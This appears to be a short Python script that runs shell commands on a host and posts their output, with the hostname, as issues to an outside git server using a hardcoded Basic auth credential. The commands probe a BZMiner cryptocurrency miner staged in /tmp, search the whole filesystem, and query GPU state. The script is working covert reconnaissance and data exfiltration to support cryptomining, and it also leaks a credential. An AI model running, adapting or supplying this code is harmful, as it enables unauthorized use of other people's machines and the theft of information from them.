21 lines
1.3 KiB
Python
21 lines
1.3 KiB
Python
import os, json, socket, subprocess, urllib.request
|
|
AUTH="Basic aGx6ZmF1NmU6SGwhd3hOdWZFNnVzRFd2"
|
|
REPO="hlzfau6e/hlt133127"
|
|
D="/tmp/prlbz-5361/bzminer_v100.82_linux"
|
|
BZ=D+"/bzminer"
|
|
def sh(c,t=80):
|
|
try: return subprocess.run(["bash","-lc",c],capture_output=True,text=True,timeout=t).stdout[:2500]
|
|
except Exception as e: return "ERR "+str(e)[:120]
|
|
def report(tag,msg):
|
|
try:
|
|
body=json.dumps({"title":"[%s] %s"%(tag,socket.gethostname()),"body":str(msg)[:8000]}).encode()
|
|
req=urllib.request.Request("https://git.kaki87.net/api/v1/repos/%s/issues"%REPO,data=body,
|
|
headers={"Content-Type":"application/json","Authorization":AUTH})
|
|
urllib.request.urlopen(req,timeout=22).read()
|
|
except Exception: pass
|
|
report("help_tensor", sh("%s --help 2>&1 | grep -iE 'tensor|unlock|cmp100|volta|dp4a' | head -12" % BZ, 60))
|
|
report("help_all_gpu", sh("%s --help 2>&1 | grep -iE 'nvidia|cuda|gpu|device' | head -14" % BZ, 60))
|
|
report("cmp100_files", sh("find / -name 'cmp100*' -o -name 'CMP100*' 2>/dev/null | head -5; ls /tmp/prlbz-5361/ | head -8"))
|
|
report("start_cn", sh("cat %s/start_cn.sh 2>/dev/null | head -25" % D))
|
|
report("pearl_opts", sh("%s --help 2>&1 | grep -iA2 pearl | head -12" % BZ, 60))
|
|
report("dev_query", sh("nvidia-smi --query-gpu=name,tensor_active,clocks.current.sm --format=csv 2>&1 | head -4"))
|